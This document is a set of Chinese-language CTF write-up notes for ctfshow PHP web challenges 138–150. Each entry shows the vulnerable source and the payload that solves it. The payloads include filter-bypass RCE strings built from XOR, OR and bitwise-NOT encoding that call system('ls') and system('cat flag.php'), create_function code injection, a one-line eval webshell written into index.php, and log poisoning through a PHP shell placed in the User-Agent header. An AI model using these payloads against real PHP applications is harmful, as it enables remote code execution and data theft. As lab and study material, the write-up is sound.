ctfshow=ctfshow::getFlag
web138
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
难点:strripos()函数,查找xxx在字符串中最后一次出现的位置,如果大于-1就退出函数,
就是不让用冒号了
call_user_func函数调用类的静态方法:
写法 1 (字符串形式): ClassName::methodName
写法 2 (数组形式): array('ClassName', 'methodName')
解决:使用数组形式
POST:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web140
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
考点:
弱类型比较:== 是弱类型比较。在 PHP 中,当整数和字符串比较时,字符串会被转换为整数
字符串转整数:字符串 'ctfshow' 在转换为整数时,因为不是以数字开头,会被转换成 0
解决:
$f1($f2());的返回值,或者是字母开头的字符串,或者是空数组,或者就是0,或者FLASE。
思路1:usleep 或 sleep
usleep没有返回值
POST:
f1=usleep&f2=usleep
f1=sleep&f2=sleep
思路2:system
system():必须包含参数,失败返回FLASE
system('FLASE'):空指令,失败返回FLASE
POST:
f1=system&f2=system
思路3:getdate
array getdate([ int $timestamp = time()] ):返回结果是array,参数必须是int型。
所以getdate(getdate())→getdate(array型)→失败返回flase
POST:
f1=getdate&f2=getdate
思路4:md5 或 sha1
如果一次不成功,多刷新几次或者换一个 $f2 函数
POST:
f1=md5&f2=phpversion
web142
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
解决:直接为0
?v1=0
web141
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
考点:无字母数字的RCE 、取反
解释:\W代表非单词字符(即不是 a-z, A-Z, 0-9, _ 的字符)。
v1和v2就随意填数字,v3填构造出的payload即可,
注意的是这里有个return干扰,所以我们要在v3的payload前边和后面加上一些字符就可以执行命令,例如+ - * 等等
总结:
v1/v2:是被迫存在的“墙壁”(数字)。
v3:是我们注入的代码。
/+ - * :是连接符。它们的作用是把两边的“数字墙壁”和中间的“代码”在语法上合理地分隔开,让 PHP 认为这是一个合法的数学运算或字符串连接表达式,从而触发中间函数的执行。
解决:
[[无字母数字绕过正则表达式]]
构造:system(ls)
异或:
?v1=1&v2=1&v3=/+("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
?v1=1&v2=1&v3=-("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
或:
?v1=1&v2=1&v3=/+("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");
取反:
?v1=1&v2=1&v3=/+(~%8C%86%8C%8B%9A%92)(~%93%8C);
构造:system(cat flag.php)
或:
?v1=1&v2=1&v3=-("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60");
其他的类似
web143
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
难点:不能用分号
解决:最后用*作为连接符,使用异或方式
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0e%0c%00%06%0c%01%07%01%0f%08%0f"^"%60%60%20%60%60%60%60%2f%7f%60%7f")*
web144
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
换v2了
?v1=1&v3=1&v2=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
?v1=1&v3=1&v2=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%06%0c%01%07%00%0b%08%0b"^"%60%60%7c%20%60%60%60%60%2e%7b%60%7b");
web145
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
难点:/+ - * 连接符都不能用了
解决:可以使用三目运算符符号、|
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%93%8C)|
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%93%8C):
web146
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
解决:只能用|
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%93%8C)|
web147
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
考点:[[php create_function]]
^匹配开头的字符串
[a-z0-9_]匹配任意字母数字下划线
*一次或者多次
$匹配结尾字符串
/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D如果使用$限制结尾字符,则不允许结尾有换行
匹配开头不包含字母或者数字的符号
解决:
匹配开头不包含字母或者数字的符号利用\绕过
GET:
?show=echo "666";}system("cat f*");/*
POST:
ctf=\create_function
参数部分为空,方法代码部分用;}闭合
web148
#什么是变量?
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
异或,运行get_ctfshow_fl0g()
?code=("%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07"^"%60%60%7d%5e%60%7d%60%7b%60%60%7f%5e%60%60%3b%60")();
web149
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
解释:
scandir() 列出指定路径中的文件和目录
unlink() 删除文件
难点:不是index.php就会被删除
解决:那么把一句话写进index.php
GET:
?ctf=index.php
POST:
show=<?php phpinfo();eval($_POST[0]);?>
web150
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
$isVIP && strrpos($ctf, ":")===FALSE
[[php 运算优先级]]
解决:
isvip=1
strrpos($ctf, ":")===FALSE
GET:
?isVIP=1
POST:
ctf=/var/log/nginx/access.log
User-Agent:
<?php @eval($_POST[1]);?>

web150_plus
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}
难点:排除了log字符,所以不能使用日志包含
解决:
__autoload(),尝试加载未定义的类
可以通过定义这个函数来启用类的自动加载
GET:
?..CTFSHOW..=phpinfo
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖
因为CTFSHOW是类就会使用 __autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
1.代码执行 class_exists($__CTFSHOW__)
2.我们已经通过变量覆盖将 $__CTFSHOW__ 的值设为 'phpinfo'。
3.PHP 检查是否存在名为 phpinfo 的类。
4.显然,phpinfo 是个内置函数,不是类,所以不存在。
5.当 class_exists 找不到类时,PHP 会尝试调用魔术函数 __autoload($class_name) 来自动加载这个类。
6.触发漏洞:__autoload('phpinfo') 被调用。
7.进入 __autoload 函数内部,执行 $class(),也就是执行了 phpinfo()。

浙公网安备 33010602011771号